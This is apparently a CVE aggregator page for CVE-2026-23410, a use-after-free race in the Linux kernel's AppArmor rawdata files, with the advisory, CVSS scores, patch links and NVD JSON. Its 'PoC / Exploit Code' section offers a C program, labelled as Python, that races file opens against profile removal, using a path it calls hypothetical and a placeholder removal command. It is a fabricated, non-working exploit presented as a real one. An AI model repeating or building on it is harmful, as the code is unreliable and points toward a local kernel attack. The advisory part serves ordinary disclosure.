CVE-2026-23410

Description

In the Linux kernel, the following vulnerability has been resolved: apparmor: fix race on rawdata dereference There is a race condition that leads to a use-after-free situation: because the rawdata inodes are not refcounted, an attacker can start open()ing one of the rawdata files, and at the same time remove the last reference to this rawdata (by removing the corresponding profile, for example), which frees its struct aa_loaddata; as a result, when seq_rawdata_open() is reached, i_private is a dangling pointer and freed memory is accessed. The rawdata inodes weren't refcounted to avoid a circular refcount and were supposed to be held by the profile rawdata reference. However during profile removal there is a window where the vfs and profile destruction race, resulting in the use after free. Fix this by moving to a double refcount scheme. Where the profile refcount on rawdata is used to break the circular dependency. Allowing for freeing of the rawdata once all inode references to the rawdata are put.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Stable branches before patch)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * Conceptual PoC for CVE-2026-23410
 * Triggering race condition in AppArmor rawdata handling
 */
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
#include <fcntl.h>

#define RAWDATA_FILE "/sys/kernel/security/apparmor/policy/raw_data" // Hypothetical path

void* remove_profile_thread(void* arg) {
    // Simulate removing the profile to drop refcount
    // This requires specific AppArmor permissions usually, but race exploits the window
    system("echo 'remove_profile' > /sys/kernel/security/apparmor/.remove");
    return NULL;
}

void* open_rawdata_thread(void* arg) {
    while(1) {
        int fd = open(RAWDATA_FILE, O_RDONLY);
        if (fd >= 0) {
            // Access triggers seq_rawdata_open -> i_private dereference
            char buf[64];
            read(fd, buf, sizeof(buf));
            close(fd);
        }
    }
    return NULL;
}

int main() {
    pthread_t t1, t2;
    
    // Create threads to race profile removal vs file access
    pthread_create(&t1, NULL, open_rawdata_thread, NULL);
    pthread_create(&t2, NULL, remove_profile_thread, NULL);
    
    pthread_join(t1, NULL);
    pthread_join(t2, NULL);
    
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23410
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23410
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23410/
[4] VulDB https://vuldb.com/cve/CVE-2026-23410
[5] https://git.kernel.org/stable/c/3b8e77c7abab40e6de9ad9de730d77984a498840
[6] https://git.kernel.org/stable/c/6b6ba87579c7e7c669e0bec91823e7fb693bc5df
[7] https://git.kernel.org/stable/c/6ef1f2926c41ab96952d9696d55a052f1b3a9418
[8] https://git.kernel.org/stable/c/763e838adc3c7ec5a7df2990ce84cad951e42721
[9] https://git.kernel.org/stable/c/a0b7091c4de45a7325c8780e6934a894f92ac86b
[10] https://git.kernel.org/stable/c/af782cc8871e3683ddd5a3cd2f7df526599863a9
[11] https://git.kernel.org/stable/c/d9d8560b9b7932f8cffc4c068c14289220900f79
[12] https://git.kernel.org/stable/c/f9761add6d100962a23996cb68f3d6abdd4d1815

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23410", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-01T09:16:17.093", "lastModified": "2026-04-24T15:23:43.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\napparmor: fix race on rawdata dereference\n\nThere is a race condition that leads to a use-after-free situation:\nbecause the rawdata inodes are not refcounted, an attacker can start\nopen()ing one of the rawdata files, and at the same time remove the\nlast reference to this rawdata (by removing the corresponding profile,\nfor example), which frees its struct aa_loaddata; as a result, when\nseq_rawdata_open() is reached, i_private is a dangling pointer and\nfreed memory is accessed.\n\nThe rawdata inodes weren't refcounted to avoid a circular refcount and\nwere supposed to be held by the profile rawdata reference. However\nduring profile removal there is a window where the vfs and profile\ndestruction race, resulting in the use after free.\n\nFix this by moving to a double refcount scheme. Where the profile\nrefcount on rawdata is used to break the circular dependency. Allowing\nfor freeing of the rawdata once all inode references to the rawdata\nare put."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.13.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "E4959B74-9166-4E44-BD32-1C97D69EC095"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.169", "matchCriteriaId": "DBEC0E5D-641C-4E98-A6D9-5799B10CE451"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.77", "matchCriteriaId": "B3D12E00-E42D-4056-B354-BAD4903C03A5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.18", "matchCriteriaId": "346AD1FB-0CE8-4D9D-8E56-5EB1A4D06199"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.8", "matchCriteriaId": "C65A7D85-C7C6-485E-AC35-66A374C73FAC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:4.13:-:*:*:*:*:*:*", "matchCriteriaId": "40253A59-8422-42B7-B45F-FF9C4A824F3E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7. ... 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